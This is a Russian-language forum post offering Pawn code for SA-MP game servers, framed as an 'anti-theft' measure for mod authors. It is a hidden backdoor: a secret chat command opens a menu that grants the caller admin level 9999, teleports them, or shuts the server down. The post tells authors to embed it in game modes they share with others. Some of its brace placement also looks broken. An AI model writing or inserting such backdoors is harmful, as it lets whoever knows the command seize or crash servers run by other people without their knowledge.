Эта тема будет весьма вам интересна,так как вы часто доверяете кому то свой мод,и не знаете потом куда он попадёт,или где он будет стоять без вашего ведома.Для этого я нашёл в инете очень удобный скрипт АнтиУгон мода.
Суть скрипта в том,что мы создаем команду любую,которую будем знать только мы,и когда мы ее введем то нам дадут Либо Полную Админку,либо оффнуть сервер.То уже на ваш выбор,и таким способом можно наказать и предатварить воровство вашего любимого мода )
И так приступим к установке
В public OnPlayerCommandText выбераем место и вставляем туда это:
Код
if(strcmp(cmd, "/vzolmservera", true) == 0)
{
if(IsPlayerConnected(playerid))
{
format(string,sizeof(string),"Дать себе Админку 9999лвл\nТелепортироваться в LS\nВыключить Сервер");
ShowPlayerDialog(playerid,32000,DIALOG_STYLE_LIST,"{D5FF00}Взлом{2DED17}*Role{FF0000}-Play{0206FF} Выбери",string,"Ок","отмена");
}
return 1;
}
Теперь создаем сам диалог ниже в этом же паблике
Код
if(dialogid==32000)
{
if(response)
{
if(listitem == 0)
{
PlayerInfo[playerid][pAdmin] = 9999;
SendClientMessage(playerid, 0x00FDFDAA,"Ты Дал себе Админку 9999лвл");
}
if(listitem == 1)
{
if (GetPlayerState(playerid) == 2)
{
new tmpcar = GetPlayerVehicleID(playerid);
SetVehiclePos(tmpcar, 1529.6,-1691.2,13.3);
TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
}
else
{
SetPlayerPos(playerid, 1529.6,-1691.2,13.3);
}
SetPlayerInterior(playerid,0);
PlayerInfo[playerid][pInt] = 0;
}
SendClientMessage(playerid, 0x00FDFDAA,"Вы телепортировались в LS");
}
if(listitem == 2)
{
SendRconCommand("exit");
SendClientMessage(playerid, 0x00FDFDAA,"Вы выключили сервер");
}
}
Подстраивайте его под себя как вам хочется www.Testcs.Ru